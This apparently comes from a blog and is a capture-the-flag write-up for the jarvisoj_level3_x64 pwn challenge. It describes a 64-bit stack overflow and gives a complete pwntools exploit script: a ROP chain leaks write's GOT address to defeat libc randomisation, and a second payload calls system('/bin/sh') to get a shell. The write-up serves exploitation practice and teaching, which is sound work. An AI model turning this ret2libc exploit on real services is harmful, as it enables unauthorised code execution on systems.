首页 > 其他分享 >jarvisoj_level3_x64

jarvisoj_level3_x64

时间:2023-12-31 22:15:20浏览次数:29  
标签:addr elf x64 write level3 io jarvisoj p64

jarvisoj_level3_x64

image-20231231181919311

  • 64libc泄露
  1. 漏洞函数中存在溢出
  2. 使用溢出泄露libc
  3. 构造payload获得shell
rbp
padding 0x80
0x8
pop_rdi ret 0x00000000004006b3
0x1 pop
pop_rsi ret 0x00000000004006b1
write_got pop_rsi elf.got['write'] 没找到更好的rop
0x0 pop_r15
write_plt ret elf.plt['write']
ret elf.sym['vulnerable_function']

泄露libcpayload1构造

from pwn import *
#context.log_level = 'debug'
elf = ELF('level3_x64')
Lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('level3_x64')
#io = gdb.debug('./level3_x64','break vulnerable_function')
padding = 0x80
payload1 = b'A'*(padding+0x8)+p64(0x00000000004006b3)+p64(0x1)+p64(0x00000000004006b1)+p64(elf.got['write'])+p64(0x0)+p64(elf.plt['write'])+p64(elf.sym['vulnerable_function'])
io.sendlineafter(b'Input:\n',payload1)
write_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('write_addr->',hex(write_addr))
Liboffset = write_addr - Lib.sym['write']
bin_sh_addr = Liboffset + next(Lib.search(b'/bin/sh'))
sys_addr = Liboffset + Lib.sym['system']
payload2 = b'A'*(padding+0x8)+p64(0x00000000004006b3)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter(b'Input:\n',payload2)
io.interactive()

标签:addr,elf,x64,write,level3,io,jarvisoj,p64
From: https://www.cnblogs.com/bamuwe/p/17938095

相关文章

  • jarvisoj_level3
    jarvisoj_level3函数参数劫持32位泄露libc32位程序的传参是栈的后四位开始,要注意的是,32位下write,put的ret位置是紧跟函数后面的payload1=b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)这段代码中的p32(elf.sy......
  • Windows 11 version 23H2 中文版、英文版 (x64、ARM64) 下载 (updated Dec 2023)
    Windows11version23H2中文版、英文版(x64、ARM64)下载(updatedDec2023)Windows11,version23H2,2023年12月更新请访问原文链接:https://sysin.org/blog/windows-11/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgWindows11目前版本所有的日期都按照......
  • 封装Detours用于Python中x64函数hook
    Detours代码仓库:https://github.com/microsoft/Detoursx64写一个任意地址hook要比x86麻烦的多,所以这里直接封装框架来用于x64的hook。Detours是微软发布的一个APIhook框架,同时支持x86和x64,看文档说也支持ARM和ARM64的Windows。编译文档Detours翻了下github,并没有发现什么编......
  • 封装Detours用于Python中x64函数hook
    Detours代码仓库:https://github.com/microsoft/Detoursx64写一个任意地址hook要比x86麻烦的多,所以这里直接封装框架来用于x64的hook。Detours是微软发布的一个APIhook框架,同时支持x86和x64,看文档说也支持ARM和ARM64的Windows。编译文档Detours翻了下github,并没有发现什么......
  • 虚拟机安装Windows7 X64位教程以及解决VMTOOLS无法安装问题
    相关镜像文件的下载首先我们需要下载一个Windows7的镜像文件这里推荐迅雷下载,速度更快一点ed2k://|file|cn_windows_7_professional_x64_dvd_x15-65791.iso|3341268992|3474800521d169fbf3f5e527cd835156|h=TIYH37L3PBVMNCLT2EX5CSSEGXY6M47W|/虚拟机安装首页->新建虚拟机以上就是......
  • BUUCT_PWN8 jarvisoj_level2
    jarvisoj_level2查看保护措施:canary没有,很好。栈可执行,这题也可以在栈上写shellcode。PIE都没开,从IDA看到的地址就是实际加载的地址了。IDA静态分析vulnerable_function里面read读了0x100字节,但是buf只有0x88字节,缓冲区溢出。那么思路很简单ida找'/bin/sh'......
  • Windows 11 version 22H2 中文版、英文版 (x64、ARM64) 下载 (released Nov 2023)
    Windows11version22H2中文版、英文版(x64、ARM64)下载(releasedNov2023)Windows11,version23H2,2023年10月31日发布(本月暂未更)请访问原文链接:https://sysin.org/blog/windows-11/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgWindows11目前版......
  • 中间件:Redis-x64-5.0.14.1高可用集群-哨兵(Sentinel)模式(Win10)
     原文:https://blog.csdn.net/chenyang_wei/article/details/127846656在Redis主从复制模式中,因为系统不具备自动恢复的功能,所以当主服务器(master)宕机后,需要手动把一台从服务器(slave)切换为主服务器。在这个过程中,不仅需要人为干预,而且还会造成一段时间内服务器处于不可用状态,......
  • (零)安装 jdk8 和 jmeter5.5(Windows11 x64)
    1、安装jdk8下载jdk8:https://www.azul.com/downloads/?version=java-8-lts&os=windows&package=jdk#zulu安装jdk8:双击下载jmeter5.5:https://dlcdn.apache.org//jmeter/binaries/......
  • vcpkg install polyclipping:x64-windows Could not locate a manifest (vcpkg.json)
    错误信息表明vcpkg在当前工作目录及其父目录中找不到vcpkg.json文件,因此无法确定要安装的库。这可能是因为你执行vcpkginstall命令的位置不在包含vcpkg.json文件的项目目录中。以下是解决方法:确保在包含vcpkg.json的项目目录中运行命令:打开一个命令行终端。切......